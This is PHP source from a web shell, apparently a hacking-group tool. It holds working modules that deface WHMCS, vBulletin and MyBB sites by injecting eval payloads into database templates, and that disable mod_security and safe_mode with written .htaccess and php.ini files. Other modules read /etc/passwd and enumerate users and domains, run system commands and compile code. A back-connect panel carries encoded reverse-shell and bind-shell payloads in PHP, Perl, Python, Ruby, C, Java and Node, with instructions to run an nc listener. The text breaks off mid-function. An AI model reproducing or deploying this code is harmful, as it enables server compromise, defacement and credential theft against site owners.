function __pre(){return('<pre id="strOutput" style="margin-top:5px" class="ml1">');}
function hokiIndexChanger(){
hokihead();
echo '<div class=header><center><p><div class="txtfont_header">| Index Changer |</div></p><h3><a href=javascript:void(0) onclick="g(\'IndexChanger\',null,null,null,\'whmcs\')">| Whmcs | </a><a href=javascript:void(0) onclick="g(\'IndexChanger\',null,\'vb\',null)">| vBulletin | </a><a href=javascript:void(0) onclick="g(\'IndexChanger\',null,null,\'mybb\')">| MyBB | </a></h3></center>';
if(isset($_POST['hoki3'])&&($_POST['hoki3'] == 'whmcs')){
echo __pre();
echo "<center><center><div class='txtfont_header'>| Whmcs |</div>
<p><center>".getConfigHtml('whmcs')."<form onSubmit=\"g('IndexChanger',null,null,null,'whmcs',this.fname.value,this.path.value,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.index.value); return false;\">
";
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'URL', 'inputName' => 'path', 'inputValue' => 'http://site.com/whmcs', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'File Name', 'inputName' => 'fname', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Db User', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
'td6' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50')
);
create_table($table);
echo "<br><div class='txtfont'>| Your Index |</div><br>
<textarea name=index rows='19' cols='103'><title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><br>
<input type='submit' value=' '>
</form></center></center>";
if(isset($_POST['hoki6'])){
$kis3ryouni="Powered By Kiseryouni";
$dbu = $_POST['hoki6'];
$path = $_POST['hoki5'];
$fname = $_POST['hoki4'];
$dbn = $_POST['hoki7'];
$dbp = $_POST['hoki8'];
$dbh = $_POST['hoki9'];
$index = $_POST['hoki10'];
$index = str_replace("\'","'",$index);
$deface = '$x = base64_decode("'.__ZW5jb2Rlcg($index).'"); $kiseryouni = fopen("'.$fname.'","w"); fwrite($kiseryouni,$x);';
$saveData = __ZW5jb2Rlcg($deface);
$Def = '{php}eval(base64_decode("'.$saveData.'"));{/php}';
if(!empty($dbh)&&!empty($dbu)&&!empty($dbn)&&!empty($index)){
$conn=@mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));
$kiseSave=@mysqli_query($conn,"select message from tblemailtemplates where name='Password Reset Validation'");
$kiseGet = mysqli_fetch_assoc($kiseSave);
$tempSave1 = $kiseGet['message'];
$tempSave = str_replace("'","\'",$tempSave1);
$inject = "UPDATE tblemailtemplates SET message='$Def' WHERE name='Password Reset Validation'";
$result=@mysqli_query($conn,$inject) or die (mysqli_error($conn));
$create = "insert into tblclients (email) values('[email protected]')";
$result2 =@mysqli_query($conn,$create) or die (mysqli_error($conn));
if(function_exists('curl_version')){
$HokiSole = new HokiCURL(true);
$saveurl = $HokiSole->Send($path."/pwreset.php");
$getToken = preg_match("/name=\"token\" value=\"(.*?)\"/i",$saveurl,$token);
$HokiSole->Send($path."/pwreset.php","post","token={$token[1]}&action=reset&[email protected]");
$backdata = "UPDATE tblemailtemplates SET message='{$tempSave}' WHERE name='Password Reset Validation'";
$Kiseryouni = mysqli_query($conn,$backdata) or die (mysqli_error($conn));
__alert('File Created...');
echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><font color=red><a target='_blank' href='".$path."/".$fname."'>Click Here !</a></font></b></center><br><br>";
}else{
echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><b><font color=\"#FFFFFF\">Please go to Target </font><font color=red>\" ".$path."/pwreset.php \"</font><br/><font color=\"#FFFFFF\"> and reset password with email</font> => <font color=red>[email protected]</font><br/><font color=\"#FFFFFF\">and go to</font> <font color=red>\" ".$path."/".$fname." \"</font></b></center><br><br>";
}}}}
if(isset($_POST['hoki1']) && ($_POST['hoki1'] == 'vb')){
echo __pre();
echo "<center><center><div class='txtfont_header'>| vBulletin |</div>
<p><center>".getConfigHtml('vb')."<form onSubmit=\"g('IndexChanger',null,'vb',this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.index.value,this.prefix.value,'>>'); return false;\">
";
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'Db User', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Prefix', 'inputName' => 'prefix', 'id' => 'db_prefix', 'inputValue' => '', 'inputSize' => '50')
);
create_table($table);
echo "<br><div class='txtfont'>| Your Index |</div><br>
<textarea name='index' rows='19' cols='103'><title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><br>
<input type='submit' value=' '></form></center></center>";
if($_POST['hoki8']=='>>'){
$kis3ryouni="Powered By Kiseryouni";
$dbu = $_POST['hoki2'];
$dbn = $_POST['hoki3'];
$dbp = $_POST['hoki4'];
$dbh = $_POST['hoki5'];
$index = $_POST['hoki6'];
$prefix = $_POST['hoki7'];
$index=str_replace("\'","'",$index);
$set_index = "{\${eval(base64_decode(\'";
$set_index .= __ZW5jb2Rlcg("echo \"$index\";");
$set_index .= "\'))}}{\${exit()}}";
if(!empty($dbh)&&!empty($dbu)&&!empty($dbn)&&!empty($index)){
$conn=@mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));
$loli1 = "UPDATE ".$prefix."template SET template='".$set_index."".$kis3ryouni."' WHERE title='spacer_open'";
$loli2 = "UPDATE ".$prefix."template SET template='".$set_index."".$kis3ryouni."' WHERE title='FORUMHOME'";
$loli3 = "UPDATE ".$prefix."style SET css='".$set_index."".$kis3ryouni."', stylevars='', csscolors='', editorstyles=''";
@mysqli_query($conn,$loli1) or die (mysqli_error($conn));
@mysqli_query($conn,$loli2) or die (mysqli_error($conn));
@mysqli_query($conn,$loli3) or die (mysqli_error($conn));
__alert('VB index changed...!');
}
}
}
if(isset($_POST['hoki2']) && ($_POST['hoki2'] == 'mybb')) {
echo __pre();
echo "<center><center><div class='txtfont_header'>| Mybb |</div>
<p><center>".getConfigHtml('mybb')."<form onSubmit=\"g('IndexChanger',null,'null','mybb',null,null,null,this.mybbdbh.value,this.mybbdbu.value,this.mybbdbn.value,this.mybbdbp.value,this.mybbindex.value); return false;\" method=POST action=''>
";
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'inputName' => 'mybbdbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'inputName' => 'mybbdbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'Db User', 'inputName' => 'mybbdbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'inputName' => 'mybbdbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50')
);
create_table($table);
echo "<br><div class='txtfont'>| Your Index |</div><br>
<textarea name=mybbindex rows='19' cols='103'>
<title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><p><input type='submit' value='' ></p></form></center></center>";
if(isset($_POST['hoki6'])){
$mybb_dbh = $_POST['hoki6'];
$mybb_dbu = $_POST['hoki7'];
$mybb_dbn = $_POST['hoki8'];
$mybb_dbp = $_POST['hoki9'];
$mybb_index = $_POST['hoki10'];
if(!empty($mybb_dbh)&&!empty($mybb_dbu)&&!empty($mybb_dbn)&&!empty($mybb_index)){
$conn=@mysqli_connect($mybb_dbh,$mybb_dbu,$mybb_dbp,$mybb_dbn) or die(mysqli_error($conn));
$prefix="mybb_";
$loli7 = "UPDATE ".$prefix."templates SET template='".$mybb_index."' WHERE title='index'";
$result =@mysqli_query($conn,$loli7) or die (mysqli_error($conn));
__alert('MyBB index changed...!');
}
}
}
echo "</div>";
hokifooter();
}
function hokiproc()
{
hokihead();
echo "<Div class=header><br><center>";
if(empty($_POST['ajax'])&&!empty($_POST['hoki1']))
$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
if($GLOBALS['sys']=="win"){
$process=array(
"Task List" =>"tasklist /V",
"System Info" =>"systeminfo",
"Active Connections" => "netstat -an",
"Running Services" => "net start",
"User Accounts" => "net user",
"Show Computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);}else{
$process=array(
"Process status" => "ps aux",
"Syslog" =>"cat /etc/syslog.conf",
"Resolv" => "cat /etc/resolv.conf",
"Hosts" =>"cat /etc/hosts",
"Cpuinfo"=>"cat /proc/cpuinfo",
"Version"=>"cat /proc/version",
"Sbin"=>"ls -al /usr/sbin",
"Interrupts"=>"cat /proc/interrupts",
"lsattr"=>"lsattr -va",
"Uptime"=>"uptime",
"Fstab" =>"cat /etc/fstab"
);}
foreach($process as $n => $link){
echo '<a href="javascript:void(0);" onclick="g(\'proc\',null,\''.$link.'\')"> | '.$n.' | </a>';
}
echo "</center><br>";
if(!empty($_POST['hoki1'])){
echo "<pre class='ml1' style='margin-top:5px' >";
if($GLOBALS["glob_chdir_false"]&&!empty($_POST["c"])){$cmd = "cd '".addslashes($_POST["c"])."';";}
echo hokiEx($cmd.$_POST['hoki1'], true);
echo '</pre>';
}
echo "</div>";
hokifooter();
}
function hokisafe(){
hokihead();
echo "<div class=header><center><br><div class='txtfont_header'>| Auto ByPasser |</div>";
echo '<h3><a href=javascript:void(0) onclick="g(\'safe\',null,\'php.ini\',null)">| PHP.INI | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,\'ini\')">| .htaccess(apache) | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,\'pl\')">| .htaccess(LiteSpeed) |</a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,\'passwd\')">| Read-Passwd | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,null,\'users\')">| Read-Users | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,null,null,\'valiases\')">| Get-User | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,null,null,null,null,\'domains\')">| Get-Domains | </a></center></h3>';
if(!empty($_POST['hoki8']) && isset($_POST['hoki8']) == 'domains'){
if(!_hoki_file_exists("/etc/virtual/domainowners")){
echo __pre();
$kiseryouni9 = _hoki_file('/etc/named.conf');
if(is_array($kiseryouni9)){
foreach($kiseryouni9 as $kiseryouni13){
if(@eregi('zone',$kiseryouni13)){
preg_match_all('#zone "(.*)"#',$kiseryouni13,$kiseryouni14);
if(strlen(trim($kiseryouni14[1][0])) > 2){
echo $kiseryouni14[1][0].'<br>';
}}}
}
}else{
echo __pre();
$users = _hoki_file("/etc/virtual/domainowners");
if(is_array($users)){
foreach($users as $boz){
$dom = explode(":",$boz);
echo $dom[0]."
";}}}}
if(!empty($_POST['hoki6']) && isset($_POST['hoki6']) == 'valiases'){
echo '
<form onsubmit="g(\'safe\',null,null,null,null,null,null,\'valiases\',this.site.value,null,\'>>\'); return false;" method="post" /><center><div class="txtfont">Url: </font><input type="text" placeholder="site.com" name="site" /> <input type="submit" value=" " name="go" /></form></center>';
if(isset($_POST['hoki9']) && $_POST['hoki9'] == '>>'){
if(!_hoki_file_exists("/etc/virtual/domainowners")){
$site = trim($_POST['hoki7']);
$rep = str_replace(array("https://","http://","www."),"",$site);
$user = "";
if(function_exists("posix_getpwuid") && function_exists("fileowner")){
if($user = @posix_getpwuid(@fileowner("/etc/valiases/{$rep}"))){
$user = $user['name'];
}
}else{
if(_hoki_can_runCommand(true,true)){
$user = hokiEx("stat -c '%U' /etc/valiases/".$rep);
}
}
if(!empty($user)&&$user!='root'){
echo __pre()."<center><table border='1'><tr><td><b><font color=\"#FFFFFF\">User: </b></font></td><td><b><font color=\"#FF0000\">{$user}</font></b></td></tr><tr><td><b><font color=\"#FFFFFF\">site: </b></font></td><td><b><font color=\"#FF0000\">{$rep}</font></b></td></tr></table></center>";
}else {echo __pre().'<center><b>No such file or directory Or Disable Functions is not NONE...</b></center>';}
}else{
$site = trim($_POST['hoki7']);
$rep = str_replace(array("https://","http://","www."),"",$site);
$users = _hoki_file("/etc/virtual/domainowners");
foreach($users as $boz){
$ex = explode(":",$boz);
if($ex[0] == $rep){
echo __pre()."<center><table border='1'>
<tr><td><b><font color=\"#FFFFFF\">User: </b></font></td><td><b><font color=\"#FF0000\">".trim($ex[1])."</font></b></td></tr>
<tr><td><b><font color=\"#FFFFFF\">site: </b></font></td><td><b><font color=\"#FF0000\">{$rep}</font></b></td></tr></table></center>";break;}}}}}
if(!empty($_POST['hoki5']) && isset($_POST['hoki5'])){
if(!_hoki_file_exists("/etc/virtual/domainowners")){
echo __pre();
$i = 0;
while ($i < 60000) {
$line = @posix_getpwuid($i);
if (!empty($line)) {
while (list ($key, $vl) = each($line)){
echo $vl."
";
break;}}$i++;}
}else{echo __pre();
$users = _hoki_file("/etc/virtual/domainowners");
foreach($users as $boz){
$user = explode(":",$boz);
echo trim($user[1]).'<br>';}}}
if(!empty($_POST['hoki4']) && isset($_POST['hoki4'])){
echo __pre();
if(_hoki_can_runCommand(true,true)){echo __read_file("/etc/passwd");}elseif(function_exists("posix_getpwuid")){
for($uid=0;$uid<60000;$uid++){
$ara = @posix_getpwuid($uid);
if(!empty($ara)){
while(list ($key, $val) = each($ara)){
echo "$val:";
}echo "
";}}
}else{__alert('failed...');}}
if(!empty($_POST['hoki2']) && isset($_POST['hoki2'])){
@__write_file($GLOBALS['cwd'].".htaccess","#Generated By Kise Ryouni and Hoki303
<IfModule mod_security.c>
Sec------Engine Off
Sec------ScanPOST Off
</IfModule>");
echo '<center><b><big>htaccess for Apache created...!</center></b></big>';
}
if(!empty($_POST['hoki1'])&& isset($_POST['hoki1'])){
@__write_file($GLOBALS['cwd']."php.ini","safe_mode=OFF
disable_functions=ByPassed By Kise Ryouni and Hoki303");
echo '<center><b><big> php.ini created...!</center></b></big>';
}
if(!empty($_POST['hoki3']) && isset($_POST['hoki3'])){
@__write_file($GLOBALS['cwd'].".htaccess","#Generated By Kise Ryouni and Hoki303
<Files *.php>
ForceType application/x-httpd-php4
</Files>
<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
</IfModule>");
echo '<center><b><big>htaccess for Litespeed created...!</center></b></big>';
}
echo "<br></div>";
hokifooter();
}
function __get_resource($content){
return @gzinflate(__ZGVjb2Rlcg($content));
}
function __write_file($file, $content){
if($fh = @fopen($file, "wb")){
if(fwrite($fh, $content)!==false) return true;
}
return false;
}
function bcinit($evalType, $evalCode, $evalOptions, $evalArguments){
$res = "<font color='green'>[ Success...! ]</font>";
$err = "<font color='red'>[ Failed...! ]</font>";
if($evalOptions!="") $evalOptions = $evalOptions." ";
if($evalArguments!="") $evalArguments = " ".$evalArguments;
if($evalType=="c"){
$tmpdir = HOKI_TEMPDIR;
chdir($tmpdir);
if(is_writable($tmpdir)){
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq.".c";
$path = $filename;
if(__write_file($path, $evalCode)){
$ext = ($GLOBALS['sys']=='win')? ".exe":".out";
$pathres = $filename.$ext;
$evalOptions = "-o ".$pathres." ".$evalOptions;
$cmd = "gcc ".$evalOptions.$path;
hokiEx($cmd);
if(is_file($pathres)){
if(chmod($pathres, 0755)){
$cmd = $pathres.$evalArguments;
hokiEx($cmd);
}else{$res = $err;}
unlink($pathres);
}else{$res = $err;}
unlink($path);
}else{$res = $err;}
}
return $res;
}elseif($evalType=="java"){
$tmpdir = HOKI_TEMPDIR;
chdir($tmpdir);
if(is_writable($tmpdir)){
if(preg_match("/class\ ([^{]+){/i",$evalCode, $r)){
$classname = trim($r[1]);
$filename = $classname;
}else{
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq;
$evalCode = "class ".$filename." { ".$evalCode . " } ";
}
$path = $filename.".java";
if(__write_file($path, $evalCode)){
$cmd = "javac ".$evalOptions.$path;
hokiEx($cmd);
$pathres = $filename.".class";
if(is_file($pathres)){
if(chmod($pathres, 0755)){
$cmd = "java ".$filename.$evalArguments;
hokiEx($cmd);
}else{$res = $err;}
unlink($pathres);
}else{$res = $err;}
unlink($path);
}else{$res = $err;}
}
return $res;
}
return false;
}
function hokiconnect(){
hokihead();
$php="7VZta9swEP5e6H9QjaE2S5uXfhg0pDBYPw7KVtiHtjOOLNcitqVJ8pKxpb99d36L4zid17WwQV1wrbvTo0e6Oz1hSgnlKSaFMjy9d0bu9PBAM+MZnjAv5gk3hU3MPZ7ImFNuvDDOdOSg1Ta+umdGkxlhKxmLgDkWsQaktOchFL3js7O3OFj6MEizOMYBaw50BAMLUIAJub78+GG2Mkwl06tP49nxrX31+f3F8bR0g206nPN0CJNOuIXTE5z9QN7FoU+umZ8QHbE4Jg/k8AD9PCQOFVlqnIqyS2ZAyyU/Dg8IPLYEgNI3LU05I6saGRzBogFa1oTFmu1BnXSi6pvRXRO5No/vtpfw6SJfomAdZik1XKQeW3FttHMsaWpiLxRqcew2FuIBTN748vSgBzEK74yc4IYBxzjjtru0j5p2KTRfeVANmgeO2wFQUkTe1dlsGGHatVGQC08LuoCa0kx9Y8qxDJXnw+HoNP87t8gp0IeaYUqlovgP8yoiFURZkyKDw9YDclYztenOQj6lTGJcczcQYkQslsBAZ3MYOTKSXpb6CXPcARkBpptv0lrydLMPfMKl4oY5NgV2CdCFtNElHskpsS6sahF8lhGPGZ4oOQKk0Ici2UKqiyLE1ANic3J97orde4lvaORYQxrcEufmy62+e+MOOfYWnpVS7g5ujh1gGYB7U1VtdK69gCsHIgGCRtV3R7QtAGt7r62oTRsYxZPmEduyPEysFov8/En2RnzNIMIlc8jgooWP6AUNHxr7coWTkIi1k4TWxGbGRHNv60ZWaSw0a+WgMtalU2xxbzU059oB1ryvlP/dGZHZRflpSS4ZJM5SFtTZuMOxRMek27G1gFTY5EpQT0iWAstogKtiUXDZjMSUHEGmFdMiUxTYSqyY7d7Hp9Fe8xi6B0UAweCygp7oFTnuHTnpFUlbQWVPGZXt9lJ+QzIRYhaxyIrvgpXbXVO28uss5Tms9lBSbHdCzTFmFO4U5UPkEl8MXqheXS3MU6+xgvL3dCvHmwDggyKO6q42rOqtyorN21HrxwjU2+vDog5+nAp9EovJn7CY/D2Ljl7XXb3eeQEUp73PM97r2S6gvFcrb61p6+YPiEo9Ufa31TNEOSsaPSrvfZbia0v/nknb9LNr207uXrWtib9P2+AHa1910z3UrYeQ6VchexEh008SMv0kIdMvLmS65+Wt/ych0/+EkP2ORV8he2nN+gU=";
$python="pVRtT9swEP6cSv0PxptWR80M7YY0wYJUQZjQBlRtp30AVqXOpYmWOpHtQPnCb5/tJG1AHUKaqra+V99z95zf7e2XUuwvUr4P/B4VjyrJebeTropcKCTAk+WiEDkDKb1cevJRf3P2B5Sn0hV0O4WPcbeT2N8IYiQTyDLC3KNuxzFx/jaejvMCOGGe9fFnotTZVZSX6pnTxTgwahBilzrlL7WuvkmAKgVHRk2rlFRAGBG336h0upZqVSjiUuAsj4D0ShV//NLTeSoIIVNpzmsMaYxySXm4gj0fc4WNzol9RuM0A54Tc7ujPXRjFKwIhrVt3CyYXPprBWJ1PJ4O/N778a+zk95xbdWqY9tymaCPKfr6AfelEiR2+xidtIXhVjIXQSbBFvCQ6NuR6aAVHSUeq4MjdGkC2D0ZHAw/uzQCCxFbiNgW68CaQaFq/yKUstI2uR2DWWMjwj05qDXOwhdAJYSCJQSz6BaRm9+38q7vYk94cRYupXG4+HZ1PQlOR9PAreN0qkWTo+5lEaqEpjJKBVnQpcjLggxcd+NkmsmSF9bGqEcJPCL/mmDj18Ki8xl+WVYKt11JqVDII4tUnw3WOruRKkebB9XkOg+11HCkqeBoSz58y3FfF78ExR4Mz/CJ3omlr5lBQ7G810tV9XXp+v7Q7oe/vBncdTuQtSyf2hYn0YehddGVwDpVuhtm6VKuSKFP0q+2kVZ/pJZG5/OLq2BWryqdXp9+n09nk2B0aWI0TGUsebEJmF7/mBuvdsx8EvycBqOzs4lnLn1ZvaSawREh+IDaD/YKOwBJs1TvAieHRjLM1Csfur7uAjPEsyvT4qB5R6jMAAqLbTu8navXUIDgJzTK4hDNIFyhqZkvetIT2M2JLSFeC8ebp2F3ls3D8KwZdmAGJtLEzTkHpghJ6mbsxnn4Bpzy/3C+Fv5GnNL9Cw==";
$perl="lZLRjpNAFIav26TvMOJsC8kYWr1bpJFQ3DRrS8OwGmOVsPSsTKQDgVm3m+722Z0BVifGGL0755/Dd+Abnj+zb5vavmbcBv4dVVAXo+FtA2gZnp/TMvsGwhkNcdm4+EuoqiZ3DThUZS1QHEQr9yCg3jsbOnMnW7z5sNjOJ05/LkOnJTc5esEM+TS7MRXqtLfvZMysY4s788MV3QT+GbIvDedRLhHuVxBVXYry+p6nezAnIqsmliQ07SuZlIw3b5PlOojJmIb+ZULjKPBWBAvr4WHHwLS6bW+86OK9686s42g4wJWLVf9p+lmeDhoQilZWCkfDd4kCSSANkyi4ooG3WERkpkAD+RE7OaTG092uThg3cUWWazWSeOuPlrZ1ULBGAJfjr/Q0zTKQm3xCrW65JPrEOCGvuElRDOke0RyKAp223CDTdqisgCMaL5ZrYrwe+4bzFIRXMTHmehJEUZ/I5+AAGZJqtfVZUTZg+pbTFfRnoehaI8laJ6lWB2QCTWUlLweK5pfYl38Si/O+nXUtcxkHkaSilNpyXQpO3d+cYqafZyXnkKn7wamet/boP9gze3vzMTUs5ynp9elR709FfxP4f946W3BU+kz5Jz3+AA==";
$ruby="tVb7b9M6FP7Z+SuMN0hzVxLGQ+h2N6vGU0ggqjG4QmQXtc5pYy11gu3QoW387fiVrqXt1ivd66p1es7n8/T52p07SSNFMmI8Af4di2b0I9jBhVK17CXJhKmiGcW0miajR08fn7nPQMC3hgnAoazoGajwWlAPVcGHUwiDIIcxlg09kwESoBrB8fHHZ5+/Dt4enbx6f/wuzqsZp0MJ8XSoaNEJp3LG+KV5TxmfzMKor0QDvfGwlBAAz51FAcPSOOlIJSJtOdV7gNgYv2IlxHDOpJJ9r9TagY8n5jCz0rg1EKvqqw7NGDbHbaRYFcCxSEU8kc2ok2RJ0iVZRiJsYT4N4aLRh46OX3+KS+ATVaTpfoD1MqIvD07Tn8k/Xx7c//P0Yr/75Go36dfpG65gAqLjEVFPB6vsGZmePB98APEdhI2TkG4dWQ1NZTykFGoHpHEtGFeY2DZgWUBZ4h6mFedAFeQZJxY3ggnj9sksHSivlO8FXljjlJoqsCUhnAPF0voZdwic15VQ+OTl8bv0XIGYHgw+7Kdhtjv4+0V2GB54vRYe2DskC3yf4eyv7N7dHGeHdnvodtIdm1c09wamsYuu2/TmPSYxifbIIVlCzQrdaVzq2CeglhMySwyZBAxCVOKZqEzypWlGziAT/d1kBe+rU8a0qKZ1mhKyAvEwY4fmOP4jYWshZpVp6e+ORiasG4aRM7zxRHt1cz0/VFXiR79TRhvRzse8QLcgXzChvWvLNwHNZd6k264jCw31ZcpmvRvLtC5pV6etE7oN/p+mBRtNvXkf11UNvFN2iSDRxSWrLlvzrDJsk+8RPZd7K76ugm3D/l22+L19FiBpc33vNfnN6QW4bMR1BjKmZbWQkUw5K4PWluvhErE9tAS5gdi0o1VqO9DSIrXf9k81x5oC+oAc4TrGsz8ejvF2Loory3pIbsFxyBEcQkvUhhAaa760jIaMu/+byFCb2Tzo1QullS1hSUdYWoJuISkbP1rDTMjLF6nIytBm4kHtoTU0g9rDi4zihUvk4US2d3bdmLCty29MsDmKdpBX3S5r/o1z8Mh10ym3nM4lp353m/8zsHbgkJ82E6WbM/1kJwz58XKTZ8FG8gs=";
$node="nVHLasMwEDwrkH8QvliCoEDTW8ih9BPSW/pAtdeRQJZcSXYKIfn2yrKd5tGWYh+Ed2d2NDtquMWu4juNV9jCRy0tkDQTUuVvlTUZOJdSFgnL6aQJZA3+nBrKlPaQ8xZ4eY52nRMhM9oZBRdXda1I6VUEKBUo6fxd6rkTaUBkQXo3rFLcF8aWrOQ+E2T+ugssSen3XFbmDD4hPSlyu20CMCi0ZafZ/jEFeuvFarWg++kEtXwRyGEvlgXzHtZgG7CkqHXmpdHERR5ybGelB5Ic8YMqOH5qV19HD8dnnbT74P7rtgqiMUcSjZ7jTjDnc6mZBVeXQOg1ZGrPws1Jzj1PZoMTTNqa7gcnsVoebpXB2pHjf40Npm+mUXcKpqTzoGPKm7uXtnmYTkA5wNfZ35+ydxfZPxqtoYu9V5nF19wsotx/HgH9lj76IXY0Mm80Mmg0LuHDFw==";
$c="tVJtb9owEP7cSv0PHp1ap/WAsO0TTaWoZBLaChHJNE0bilLHNKcZG8Vmgk7rb98lBArZi/alUqzcPff47nzPnYLicpkJcmVsBrqdX58cn+5hBaj738BMwl0TXJuOXS+E+QNuNP8mbCOghAU8HVCNwFIBVqhAUJbMU1C0NNLinjOepwW5QPP7l6nz4+T4qIwYxpn23D662PCSI4IV0ywrElAEShxmtLzveb3q1hG0Dahkls5Brj3/XTIcBXH/KbDQhfVyq5WhqdVAq4Lu1HH2OGX+tql+FVXS4cgfDCaJP/q84Rlv83JaF2DR+OZ9EsWTwL9l3ZojbEnSC0sNxj8kJaeiJpPgYxSUGdmZZgYehJ5RvW1hRl8YR6zA0jrRHagMU9DGBMiFcwasu3JrmsThCoXEtxufeynnoqrefeoJU3HWeiS+nKUkFumcRLmQkjx+VS3We7MlZstFD4mHnnvg9eqUayw7py2xKkdL4mBy662sKOb9MHK985fhp8H1eb+OIoSm4KSDj+qYnLyCVt2t1EZQXjk/8QhpBNlp+/pZtC23tLI2zN60nveDKPQWYjh1iWPdMi7dy31kl/2fGzEMw8k4HifxTbgTmXKtlOD2r8rWe9GIOY5z1T1Yj0pT87+amobnHnjPoanZaorfLw==";
$java="lVRNb9swDD2nQP+D4JM9BG6T04bCwz6ww4ABHZbeuhwUhbG12rIg0XGCNPvtoz7sumsvPdiWyCfy8ZGybHRrkP3he57LNn93c3khJyYF6G2XF7rb1FIwUXNrGa93/A54c7q8mGkj9xyBWeRIgJ1UvI4wjQwOCGpr2V1lgG8dfjzwXekOV0j2hkl7M3Xddvjkazv0DMgdOGhMn5+dvziQnbCSNpe2oMh+ScbCRTqHUJ9u92CM3MIk7r6VW2Y6lWae5wzNMSxmmyPC/ZptWMEU9Mxv3y8+LNc3wS8VMkFOyuPKTDdZdPSVrCEVH4vrjMVYM2KR90YipJv59VwMUG/f1Z2t0tH0asyz/4S34Ciq9NtBgEbZKgbZCXJSUZEWXDzcGS6Awnmwe4XqY72xY77shkuVkn5SlVQoN6UNIrjK3Dj43MHPRLMlXsnVRqorWyXeJXfp6mgRmrwE/GlaDQaPadLaXPEGkizH9kfbg/nKLRHKpdrC4XaXJr1USebkOcWo9EkC35itd9a/7DONHHMzx1YV1DX7+1uFzJPe9C75F9rbKOGqFQ+ArIp9C9voG7tL1F29eQ2qxKooFrH9M38NCppThBJMrrmxQBuPvr9eD/1YgaFZiqnskGpiTF2gAe242JwL17Gh0aGXUFtg/5NZvpVMEE1qwnrXYj1JPBFB6jmb8Dq/LgV7fGSv85newFK6siun/sQ8jvGzy1m2I3ZqH8HkH27HYKJxEuB+J3TwV6dQNuCOxyVNExxApDQ4WfxPkFo0tYtYMOmsX1CbOyJDAodePqFL90fRLxmO8EVOV8e49unluHyS0b/ecDPpOf8D";
echo "<div class=header><center><br><div class='txtfont_header'>| Back Connect |</div><br><br>";
echo "<form onSubmit=\"g('connect',null,this.selectCb.value,this.server.value,this.port.value,this.cbmethod.value);return false;\">
<div class=\"txtfont\">Mehtod:</div> <select name='cbmethod' onChange='ctlbc(this);' style='width:120px;'><option value='back'>Reverse Shell</option><option value='bind'>Bind Port</option></select> <div class=\"txtfont\">Use:</div> <select name='selectCb'>";
$cbArr = array("php"=>"Php","perl"=>"Perl","python"=>"Python","ruby"=>"Ruby","c"=>"C","java"=>"Java","node"=>"NodeJs","bcwin"=>"Windows");
foreach($cbArr as $key=>$val){echo("<option value='{$key}' ".($GLOBALS['sys']=='win'?'selected':'').">{$val}</option>");}
echo "</select> <div id='bcipAction' style='display:inline-block;'><div class=\"txtfont\">IP:</div> <input type='text' style='text-align:center;' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'></div> <div class=\"txtfont\">Port: </div> <input type='text' size='5' style='text-align:center;' name='port' value='2012'> <input type='submit' value=' '></form><p><div id='bcStatus'><small>Run ` <font color='red'>nc -l -v -p port</font> ` on your computer and press ` <font color='red'>>></font> ` button</small></div></p></center></b></font><br>";
if(isset($_POST['hoki1'])&&!empty($_POST['hoki1'])){
$lang = $_POST['hoki1'];
$ip = $_POST['hoki2'];
